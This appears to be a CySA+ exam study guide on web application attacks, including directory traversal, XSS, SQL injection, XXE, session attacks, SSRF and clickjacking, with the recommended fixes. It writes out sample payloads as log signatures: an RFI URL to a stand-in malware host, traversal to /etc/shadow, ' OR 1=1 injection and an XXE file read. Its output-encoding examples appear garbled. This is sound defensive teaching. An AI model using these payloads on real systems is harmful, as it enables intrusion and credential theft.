Objective 2.4 — Recommend controls to mitigate attacks and software vulnerabilitiesObjective 2.5 — Vulnerability response, handling and management
Exam
Attack Quick-Reference — What to Look for in Logs
Web Attack Signature Reference — Identify on sight
../ or ..\ or %2e%2e%2f
→
Directory Traversal
Fix: Input validation + normalisation
<script> or javascript: in URL
→
Cross-Site Scripting (XSS)
Fix: Input validation + output encoding
' OR 1=1 or ' OR 7=7 (apostrophe)
→
SQL Injection
Fix: Input validation + parameterised queries
<?xml version= or <!ENTITY XXE SYSTEM
→
XML Vulnerability (XXE)
Fix: Input validation + disable external entities
Hidden form + victim's authenticated session
→
CSRF / Session Hijacking
Fix: User-specific tokens in all forms
Invisible iframe layer over a real page
→
Clickjacking
Fix: X-Frame-Options: DENY in HTTP headers
The universal answer: When you see a question asking how to prevent directory traversal, XSS, SQL injection, XML injection, or SSRF — the answer is almost always input validation. This is the single most important secure coding control in web application security. Parameterised queries add a second layer specifically for SQL. Output encoding prevents injected code from executing in the browser.
1
Directory Traversal — File Inclusion (LFI/RFI)
A directory traversal attack allows access to files and directories outside the intended web document root by using ../ sequences to navigate up the directory tree. If a web server doesn't restrict file access properly, an attacker can read system files like /etc/shadow or C:\Windows\system32\config\SAM.
How it works
URL: site.com/../../../../etc/shadow. Each ../ moves up one directory level. Starting from the web root, four levels up reaches the filesystem root, then /etc/shadow contains user password hashes. The server reads and returns the file if permissions allow it.
Encoded evasion
Attackers encode ../ to bypass naive filters. %2e%2e%2f = ../ in URL encoding. Some filters only block literal ../ and miss encoded variants. Input normalisation must handle all encoding forms before validation, not just the plaintext version.
File inclusion — two variants
Remote File Inclusion (RFI)
Attacker injects a URL to a remote malicious script as a parameter. Example: site.com/login.php?user=http://malware.bad/evil.php. The server fetches and executes the remote file. Allows complete remote code execution. Prevented by disabling remote file includes and input validation.
Local File Inclusion (LFI)
Attacker references a file already on the server using a directory traversal. Example: site.com/login.php?user=../../windows/system32/cmd.exe%00. The %00 null byte terminates the string to bypass appended extensions. Attacker can read or execute local system files.
Exam identification: Any URL containing ../ or ..\ or encoded variants (%2e%2e%2f) = Directory Traversal. LFI = subtype of directory traversal (uses server's own files). RFI = loads remote malicious file as a parameter. If the answer choices include both "directory traversal" and "local file inclusion", pick whichever one matches the specific variant — if you see ../ in a URL parameter for a local file, choose LFI.
2
Cross-Site Scripting (XSS) — Reflected, Persistent & DOM
Cross-site scripting (XSS) is a malicious script injected onto a trusted site that executes in the victim's browser with the trust level of that site. XSS is fundamentally an input validation failure — if untrusted input is accepted and rendered without sanitisation, injected scripts execute.
Four steps of a reflected XSS attack
Step 1
Identify input validation vulnerability on the trusted site — a field that accepts and reflects user input without sanitisation (search box, username field).
Step 2
Craft malicious URL encoding the script payload and embed it in a phishing email, forum post, or social media link targeting potential victims.
Step 3
Victim clicks link — the trusted site reflects the injected code back in its response, embedding the attacker's script inside the trusted site's page.
Step 4
Malicious code executes in victim's browser with the trust level of the legitimate site — can steal cookies, intercept form data, redirect users, or install malware.
Three XSS types
Reflected / Non-Persistent
Script is in the URL parameter. Only fires once when the victim clicks the crafted link. The malicious content is not stored — it's reflected back from the server on that single request. Most common XSS type.
Persistent / Stored
Script is injected into the backend database and stored. Every user who loads the affected page executes the malicious script automatically — no click required. More dangerous because it runs persistently for all visitors.
DOM-Based
Client-side attack exploiting the Document Object Model. Script manipulates the page's DOM in the browser. Signature: document.cookie, document.write, document.location in the payload. Runs with local user permissions rather than just browser-sandbox permissions.
XSS on the exam: Any URL or log entry containing <script> tags or javascript: = XSS. If you see document.cookie or document.write in the payload = DOM-based XSS. The exam will generally ask "is this XSS?" not "which type of XSS?" — unless the answer choices only include one XSS variant. Fix = input validation (prevent injection) + output encoding (prevent execution on display).
SQL injection inserts malicious SQL code into an application's database query via user-controlled input. If a login form passes the user's input directly into an SQL query without sanitisation, an attacker can manipulate the query logic to bypass authentication or dump the entire database.
How it works
Normal login query: SELECT * FROM users WHERE user='jason' AND password='pass123'. With SQL injection: attacker enters ' OR 1=1;-- as the password. The query becomes: ... AND password='' OR 1=1;--. Since 1=1 is always true, the condition is satisfied and the attacker is authenticated as the first user in the database (often an admin).
Stored passwords
Passwords should never be stored in plain text — they must be hashed (SHA-256 or stronger). If the database stores hashed passwords, the injected query still returns a match based on the OR 1=1 logic, but at least the passwords themselves aren't readable in the dump. Plain text password storage is a critical vulnerability on its own.
SQL injection exam guarantee: You WILL see SQL injection questions on the CySA+ exam — 3–5 questions minimum, in both multiple choice and PBQs. Whenever you see an apostrophe, ' OR 1=1, ' OR 7=7, or any ' OR x=x pattern in a URL or log = SQL injection, 100% of the time. Fix = input validation. Advanced fix = parameterised queries.
Insecure direct object reference (IDOR)
When an application uses user-controlled input to directly reference a database object or file without access control verification. Example: BankOfDion.com/account.php?acct=1234 — changing 1234 to 4321 could access another user's account if no authorisation check is performed. Fix: verify the authenticated user is authorised to access the requested object before returning it.
4
XML Vulnerabilities — XML Bomb & XXE
XML (eXtensible Markup Language) is used by web apps for authentication, authorisation, and data exchange. XML without input validation or encryption is vulnerable to spoofing, request forgery, and code injection. On the exam, it may be called "XML vulnerability," "XML exploitation," or "XML injection" — they all mean the same thing.
XML Bomb / Billion Laughs
Crafted XML that uses entity expansion to exponentially consume memory on the server. A small XML file can expand to gigabytes when processed — effectively a denial of service attack against the XML parser. The server runs out of memory and crashes or becomes unresponsive.
XXE — XML External Entity
Embeds a request for a local system resource inside an XML entity definition. Signature: <!ENTITY XXE SYSTEM "file:///etc/shadow">. When the parser processes the XML, it reads and returns the referenced local file. This is effectively a file inclusion attack delivered through XML. Disabled by disabling external entity processing in the XML parser configuration.
Recognising XML on the exam: XML has a version declaration line (<?xml version="1.0"?>) and custom tags. HTML and XML look similar but HTML uses standard defined tags (font, img, div). XML uses user-defined tags (question, id, title, entity). If you see <!ENTITY or SYSTEM "file:///" inside XML — that's XXE. Fix = input validation on all XML input.
Ensures data entered into a field is handled appropriately before being processed. Can be client-side (faster, but bypassable by malware) or server-side (authoritative but resource-intensive). Always use server-side as the authoritative check. Includes normalisation/sanitisation — stripping illegal characters before processing. Fix for: directory traversal, XSS, SQL injection, XML injection, SSRF.
Canonicalization attacks
Attackers encode their malicious input (%2e%2e%2f instead of ../) to bypass filters that only check for literal strings. The defence is to normalise (decode and standardise) input BEFORE validation — convert %2e%2e%2f back to ../, then check for it. Never validate before decoding.
Output Encoding
Converts potentially dangerous characters before displaying user input back on screen. Prevents injected code from executing in the browser when reflected back to the user. < → <, & → &. This strips the ability for <script> tags to execute when displayed. Primary defence against XSS and code injection via display.
Parameterised Queries / Prepared Statements
Define the SQL query structure first with placeholders (?), then supply user-provided values separately — never concatenated into the query string. The database engine treats the values as data, not as SQL code. An attacker's ' OR 1=1 becomes a literal string, not executable SQL logic. Primary defence against SQL injection.
When to use each: Taking input from a user → Input Validation. Displaying user-supplied data back to the screen → Output Encoding. Sending user data to an SQL database → Parameterised Queries. All three work together — validate first, encode output, use parameterised queries for database calls.
Assumes the identity of a user, process, address, or other identifier. Used to bypass authentication by presenting as someone else. Foundation for on-path attacks, CSRF, and session hijacking.
On-Path / MitB
On-path (formerly MITM) = attacker sits between two communicating hosts, transparently capturing/relaying/modifying traffic. Man-in-the-Browser (MitB) = intercepts API calls between the browser and its DLLs — attacks the browser application layer rather than the network.
Online Password Attack
Direct repeated login attempts against a live service. Try password1, password2, etc. against one account. Detectable in logs as repeated failed logins for the same username. Mitigated by account lockout policies and login rate limiting.
Password Spraying
One common password tried against many accounts (reverse of brute force). Tests "password123" against all usernames, then "password1", then "admin", etc. Evades lockout policies because no single account receives many failures. Log signature: same passwords repeated across different usernames.
Credential Stuffing
Stolen credentials from one breach tried on other sites. Exploits password reuse — if Facebook credentials are leaked, they're tested on Gmail, Amazon, banking sites. Mitigated by unique passwords per site (password manager) and MFA.
Broken Authentication
Authentication mechanisms that allow bypass — weak passwords, weak reset methods, plain-text credentials, hard-coded credentials, weak encryption, predictable session tokens. Root cause: poor development practices. The application was coded insecurely.
HTTP is a stateless protocol — servers don't remember who you are between requests. Cookies solve this by storing session state in the browser. A session cookie contains a session token that identifies the authenticated session. Stealing or forging that token = session hijacking.
Session hijacking
An attacker steals or guesses the session token to impersonate an authenticated user. Methods: cookie theft (XSS stealing document.cookie), session prediction (guessing weak/sequential tokens), or on-path interception of unencrypted session cookies.
CSRF / XSRF
Cross-Site Request Forgery — a malicious script on the attacker's site makes requests to a trusted site using the victim's authenticated session (from a different browser tab). The trusted site accepts the request because the session token is valid. Fix: user-specific anti-CSRF tokens in all forms.
Cookie poisoning
Modifying the contents of a cookie after it's generated to exploit vulnerabilities in the web application. If cookies aren't encrypted and integrity-protected, an attacker can alter values (e.g. change user role from "user" to "admin"). Fix: encrypt cookies in transit and storage; validate cookie integrity on each request.
Five cookie security attributes
Secure
Cookie only sent over HTTPS (encrypted channels). Prevents cookie transmission over unencrypted HTTP connections.
HttpOnly
Blocks client-side JavaScript from accessing the cookie via document.cookie. Prevents XSS-based cookie theft. Cookies only accessible via HTTP protocol.
Domain
Restricts which domain (and subdomains) the cookie is sent to. Prevents the cookie from being sent to other domains.
Path
Specifies the URL path for which the cookie is valid. Cookie only sent for requests matching the specified path prefix.
Expires
Sets expiration date for persistent cookies. Session cookies (no expiry) delete on browser close. Persistent cookies remain until expiry. Shorter expiry = less exposure.
8
SSRF, Sensitive Data Exposure & Clickjacking
Server-Side Request Forgery (SSRF)
SSRF allows an attacker to make the web application send requests to internal resources that aren't directly accessible from the internet — databases, internal APIs, cloud metadata services, or localhost. The web app becomes an unwitting proxy for internal network reconnaissance or data exfiltration.
How SSRF works
Attacker injects a URL pointing to an internal resource into a parameter the application uses to fetch external data. Example: a web app that fetches a URL to show a preview — attacker provides http://169.254.169.254/metadata (AWS cloud metadata endpoint). The server fetches it and returns internal cloud credentials.
SSRF mitigation
Input validation on all URL inputs. Allowlist valid domains/IPs for outbound requests. Implement proper authentication for internal services. Deploy a Web Application Firewall (WAF) to detect and block SSRF patterns. Restrict what internal resources web apps can reach (network segmentation).
Sensitive data exposure
Root causes
Transmitting sensitive data without encryption. Storing passwords in plain text (must hash). Hardcoding credentials in application code. Enabling browser autocomplete on sensitive fields. Not deleting cookies and temp files after session ends.
Mitigations
Use industry-standard encryption (AES-256) — never roll your own crypto. Hash passwords (bcrypt, SHA-256+salt). Avoid hardcoded credentials. Disable autocomplete on sensitive form fields. Use secure cookie attributes. Delete temp files and cookies on session termination.
Clickjacking
How clickjacking works
Attacker places an invisible iframe over a legitimate webpage element. User thinks they're clicking a visible button (Play) but actually clicking the hidden iframe layer (Pay, Log in, Delete). Made possible by HTML iframe elements that can be styled with opacity: 0 and positioned over target elements.
Frame busting
JavaScript technique forcing your page to the top frame: if (top !== self) { self.location = top.location; }. Effective against simple framing abuse but can be bypassed by advanced iframe attacks with sandboxing attributes. Basic defence only.
X-Frame-Options header
Better defence than frame busting. HTTP response header: X-Frame-Options: DENY prevents any framing. X-Frame-Options: SAMEORIGIN allows only same-domain framing. Must be set on every page in the domain. This is the recommended production approach over JavaScript frame busting.
Exam
Quick Reference Cheat Sheet
Directory traversal & file inclusion
Signature: ../ or ..\ or %2e%2e%2f in URL parameters. LFI = Local File Inclusion (uses server's own files via traversal). RFI = Remote File Inclusion (loads external malicious script as parameter). %00 null byte bypasses extension filters. Fix: input validation + normalisation (decode ALL encodings before checking). Log pattern: ../../../../etc/shadow
Cross-site scripting (XSS)
Signature: <script> tags or javascript: in URLs/logs. Reflected/Non-Persistent = one-time, requires victim to click crafted URL. Persistent/Stored = injected into DB, fires for every visitor. DOM-Based = client-side, document.cookie/document.write in payload. Fix: input validation (prevent injection) + output encoding (prevent execution). < → < prevents script execution.
SQL injection
Signature: apostrophe + true statement (' OR 1=1, ' OR 7=7). Any x=x pattern = SQL injection on the exam. Plain text passwords = separate critical vulnerability. Insecure Direct Object Reference (IDOR) = URL parameter directly exposes object ID without authorisation check. Fix: input validation. Advanced fix: parameterised queries/prepared statements. Expect 3–5 SQL injection questions on exam.
XML vulnerabilities
XML Bomb / Billion Laughs = entity expansion causing memory exhaustion DoS. XXE (XML External Entity) = <!ENTITY XXE SYSTEM "file:///etc/shadow"> reads local files via XML parser. Distinction from HTML: XML has user-defined tags; HTML has standard tags (div, img, font). Any term (XML injection / XML exploitation / XML vulnerability) = same thing on exam. Fix: input validation + disable external entity processing.
Secure coding (3 controls)
Input Validation = validate all user input before processing (server-side authoritative, client-side supplemental). Normalise BEFORE validating (decode encoded chars first = canonicalization defence). Output Encoding = encode special chars when displaying back to user (<→<) prevents XSS execution. Parameterised Queries = SQL query structure defined first, user values supplied separately as data — ' OR 1=1 becomes a literal string not SQL logic.
Authentication attacks
Spoofing = assuming another identity. On-path = attacker between two hosts (network). MitB = man-in-the-browser (intercepts browser DLL calls). Online password attack = repeated guesses against one account (log: same username, many passwords). Password spraying = one common password against many accounts (log: same password, many usernames). Credential stuffing = leaked creds from one breach tested on other sites. Fix for stuffing: unique passwords per site + MFA.
Cookies & session security
Session cookies = in-memory, deleted on browser close. Persistent cookies = stored until expiry. CSRF = malicious site exploits victim's authenticated session in another tab. Fix: anti-CSRF tokens in forms. Cookie poisoning = attacker modifies cookie values. Cookie attributes: Secure (HTTPS only), HttpOnly (no JS access, blocks XSS cookie theft), Domain (restricts to domain), Path (URL path scope), Expires (when to delete). Encrypt cookies in transit and storage.
SSRF, data exposure & clickjacking
SSRF = web app makes requests to internal resources on attacker's behalf (trust exploitation). Fix: input validation on URLs, allowlists, WAF, network segmentation. Sensitive data exposure: use AES not custom crypto, hash passwords, no hardcoded credentials. Clickjacking = invisible iframe layer tricks users into clicking hidden elements. Fix: X-Frame-Options: DENY HTTP header on all pages (better than JavaScript frame busting). Frame busting = JS technique forcing page to top frame.